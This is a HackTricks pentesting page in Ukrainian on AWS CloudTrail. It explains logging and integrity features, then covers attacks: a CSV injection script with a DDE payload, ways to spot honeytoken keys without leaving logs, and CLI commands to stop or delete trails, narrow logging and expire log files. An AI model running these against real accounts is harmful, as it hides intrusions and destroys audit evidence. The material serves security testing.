AWS - CloudTrail Enum

Підтримайте HackTricks

CloudTrail

AWS CloudTrail записує та моніторить активність у вашому середовищі AWS. Він захоплює детальні журнали подій, включаючи хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує аудит змін та дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів та ресурсів, підвищення рівня безпеки та забезпечення відповідності нормативним вимогам.

Кожна зареєстрована подія містить:

  • Назву викликаного API: eventName

  • Викликаний сервіс: eventSource

  • Час: eventTime

  • IP-адресу: SourceIPAddress

  • Метод агента: userAgent. Приклади:

  • Signing.amazonaws.com - З AWS Management Console

  • console.amazonaws.com - Root користувач облікового запису

  • lambda.amazonaws.com - AWS Lambda

  • Параметри запиту: requestParameters

  • Елементи відповіді: responseElements

Події записуються у новий лог-файл приблизно кожні 5 хвилин у JSON-файл, вони зберігаються CloudTrail і, нарешті, лог-файли доставляються до S3 приблизно через 15 хвилин після цього. Логи CloudTrail можуть бути агреговані між обліковими записами та регіонами. CloudTrail дозволяє використовувати цілісність лог-файлів, щоб мати можливість перевірити, що ваші лог-файли залишилися незмінними з моменту їх доставки CloudTrail. Він створює SHA-256 хеш логів у файлі дайджесту. SHA-256 хеш нових логів створюється щогодини. При створенні Trail селектори подій дозволять вам вказати, які події логувати: управління, дані або інсайти.

Логи зберігаються у S3 бакеті. За замовчуванням використовується серверне шифрування (SSE-S3), тому AWS розшифрує вміст для тих, хто має доступ до нього, але для додаткової безпеки ви можете використовувати SSE з KMS та власними ключами.

Логи зберігаються у S3 бакеті з таким форматом імені:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Приклад: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Всередині кожної папки кожен лог матиме ім'я за таким форматом: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Convention Naming Log File

Крім того, файли дайджесту (для перевірки цілісності файлів) будуть у тому ж бакеті:

Агрегування логів з кількох облікових записів

  • Створіть Trail в обліковому записі AWS, куди ви хочете доставляти лог-файли

  • Застосуйте дозволи до цільового S3 бакету, дозволяючи доступ між обліковими записами для CloudTrail і дозволяючи кожному обліковому запису AWS, який потребує доступу

  • Створіть новий Trail в інших облікових записах AWS і виберіть використання створеного бакету на кроці 1

Однак, навіть якщо ви можете зберігати всі логи в одному S3 бакеті, ви не можете агрегувати логи CloudTrail з кількох облікових записів у CloudWatch Logs, що належать одному обліковому запису AWS.

Пам'ятайте, що обліковий запис може мати різні Trails з CloudTrail увімкнені, зберігаючи ті ж (або різні) логи в різних бакетах.

Cloudtrail з усіх облікових записів організації в один

При створенні CloudTrail, можна вказати активувати cloudtrail для всіх облікових записів в організації та отримувати логи в один бакет:

Таким чином, ви можете легко налаштувати CloudTrail у всіх регіонах всіх облікових записів і централізувати логи в одному обліковому записі (який ви повинні захистити).

Перевірка лог-файлів

Ви можете перевірити, що логи не були змінені, запустивши

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail може автоматично надсилати логи до CloudWatch, щоб ви могли налаштувати сповіщення, які попереджатимуть вас про підозрілу активність. Зверніть увагу, що для того, щоб дозволити CloudTrail надсилати логи до CloudWatch, необхідно створити роль, яка дозволяє цю дію. Якщо можливо, рекомендується використовувати стандартну роль AWS для виконання цих дій. Ця роль дозволить CloudTrail:

  • CreateLogStream: Це дозволяє створювати потоки логів CloudWatch Logs

  • PutLogEvents: Доставляти логи CloudTrail до потоку логів CloudWatch Logs

Event History

CloudTrail Event History дозволяє вам переглядати в таблиці логи, які були записані:

Insights

CloudTrail Insights автоматично аналізує події управління записами з CloudTrail trails і сповіщає вас про незвичну активність. Наприклад, якщо є збільшення подій TerminateInstance, яке відрізняється від встановлених базових ліній, ви побачите це як подію Insight. Ці події роблять пошук і реагування на незвичну активність API легшим ніж будь-коли.

Інсайти зберігаються в тому ж бакеті, що і логи CloudTrail в: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

CloudTrail Log File Integrity

  • Перевірка, чи не були логи змінені або видалені

  • Використовує файли дайджестів (створює хеш для кожного файлу)

    • SHA-256 хешування

    • SHA-256 з RSA для цифрового підпису

    • приватний ключ належить Amazon

  • Створення файлу дайджесту займає 1 годину (робиться щогодини)

Stop unauthorized access

  • Використовуйте IAM політики та політики S3 бакетів

    • команда безпеки —> адміністраторський доступ

    • аудитори —> доступ тільки для читання

  • Використовуйте SSE-S3/SSE-KMS для шифрування логів

Prevent log files from being deleted

  • Обмежте доступ до видалення за допомогою IAM та політик бакетів

  • Налаштуйте S3 MFA delete

  • Перевіряйте за допомогою Log File Validation

Access Advisor

AWS Access Advisor покладається на останні 400 днів логів AWS CloudTrail для збору своїх інсайтів. CloudTrail фіксує історію викликів AWS API та пов'язаних подій, здійснених в обліковому записі AWS. Access Advisor використовує ці дані, щоб показати, коли сервіси були востаннє використані. Аналізуючи логи CloudTrail, Access Advisor може визначити, які сервіси AWS користувач або роль IAM використовували і коли це відбулося. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо уточнення дозволів, оскільки вони можуть ідентифікувати сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надмірно широкі дозволи на основі реальних шаблонів використання.

Таким чином, Access Advisor інформує про непотрібні дозволи, надані користувачам, щоб адміністратор міг їх видалити

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Можливо виконати CSV ін'єкцію всередині CloudTrail, яка виконає довільний код, якщо логи будуть експортовані в CSV і відкриті в Excel. Наступний код згенерує запис журналу з поганою назвою Trail, що містить корисне навантаження:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Для отримання додаткової інформації про CSV Injections перегляньте сторінку:

Для отримання додаткової інформації про цю конкретну техніку перегляньте https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Обхід Виявлення

HoneyTokens обхід

Honeyokens створені для виявлення ексфільтрації конфіденційної інформації. У випадку AWS, це AWS ключі, використання яких моніториться, якщо щось викликає дію з цим ключем, то хтось повинен був вкрасти цей ключ.

Однак, Honeytokens, такі як створені Canarytokens, SpaceCrab, SpaceSiren або використовують впізнаване ім'я облікового запису, або використовують той самий AWS account ID для всіх своїх клієнтів. Тому, якщо ви можете отримати ім'я облікового запису та/або account ID без створення будь-якого логу в Cloudtrail, ви могли б дізнатися, чи є ключ honeytoken чи ні.

Pacu має деякі правила для виявлення, чи належить ключ до Canarytokens, SpaceCrab, SpaceSiren:

  • Якщо canarytokens.org з'являється в імені ролі або account ID 534261010715 з'являється в повідомленні про помилку.

  • Під час тестування їх більш недавно, вони використовують account 717712589309 і все ще мають рядок canarytokens.com в імені.

  • Якщо SpaceCrab з'являється в імені ролі в повідомленні про помилку.

  • SpaceSiren використовує uuids для генерації імен користувачів: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Якщо ім'я виглядає як випадково згенероване, є велика ймовірність, що це HoneyToken.

Отримання account ID з Key ID

Ви можете отримати Account ID з закодованого всередині access key, як пояснено тут і перевірити account ID зі своїм списком Honeytokens AWS accounts:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

Не генерувати лог

Найефективніша техніка насправді дуже проста. Просто використовуйте ключ, який ви щойно знайшли, щоб отримати доступ до якогось сервісу всередині вашого власного облікового запису атакуючого. Це змусить CloudTrail генерувати лог всередині ВАШОГО ВЛАСНОГО облікового запису AWS, а не всередині облікового запису жертви.

Справа в тому, що вихідні дані покажуть вам помилку, яка вказує на ID облікового запису та ім'я облікового запису, тому ви зможете побачити, чи це Honeytoken.

AWS сервіси без логів

У минулому були деякі AWS сервіси, які не надсилають логи до CloudTrail (знайдіть список тут). Деякі з цих сервісів відповідатимуть з помилкою, що містить ARN ролі ключа, якщо хтось неавторизований (ключ honeytoken) спробує отримати до нього доступ.

Таким чином, атакуючий може отримати ARN ключа без створення жодного логу. В ARN атакуючий може побачити ID облікового запису AWS та ім'я, легко дізнатися ID та імена облікових записів компаній HoneyToken, тому таким чином атакуючий може визначити, чи є токен HoneyToken.

Зверніть увагу, що всі публічні API, які не створювали логи CloudTrail, тепер виправлені, тому, можливо, вам доведеться знайти свої власні...

Для отримання додаткової інформації перегляньте оригінальне дослідження.

Доступ до сторонньої інфраструктури

Деякі сервіси AWS створюють інфраструктуру, таку як бази даних або кластери Kubernetes (EKS). Користувач, який безпосередньо спілкується з цими сервісами (наприклад, API Kubernetes), не використовуватиме AWS API, тому CloudTrail не зможе побачити це спілкування.

Таким чином, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і безпосередньо спілкуватися з API сервісом без виявлення CloudTrail.

Більше інформації в:

AWS - EKS Post Exploitation

Зміна конфігурації CloudTrail

Видалення трас

aws cloudtrail delete-trail --name [trail-name]

Зупинити trails

aws cloudtrail stop-logging --name [trail-name]

Вимкнути багаторегіональний логінг

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Вимкнення логування за допомогою селекторів подій

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

У першому прикладі, один селектор подій надається як JSON-масив з одним об'єктом. "ReadWriteType": "ReadOnly" вказує, що селектор подій повинен захоплювати лише події тільки для читання (тому CloudTrail insights не буде перевіряти події запису, наприклад).

Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.

Видалення логів через політику життєвого циклу S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Зміна конфігурації Bucket

  • Видалити S3 bucket

  • Змінити політику bucket, щоб заборонити будь-які записи від сервісу CloudTrail

  • Додати політику життєвого циклу до S3 bucket для видалення об'єктів

  • Вимкнути kms ключ, який використовується для шифрування логів CloudTrail

Cloudtrail ransomware

S3 ransomware

Ви можете згенерувати асиметричний ключ і змусити CloudTrail шифрувати дані з цим ключем і видалити приватний ключ, щоб вміст CloudTrail не міг бути відновлений. Це, по суті, S3-KMS ransomware, пояснено в:

AWS - S3 Post Exploitation

KMS ransomware

Це найпростіший спосіб виконати попередню атаку з різними вимогами до дозволів:

AWS - KMS Post Exploitation

Посилання

Підтримайте HackTricks

Last updated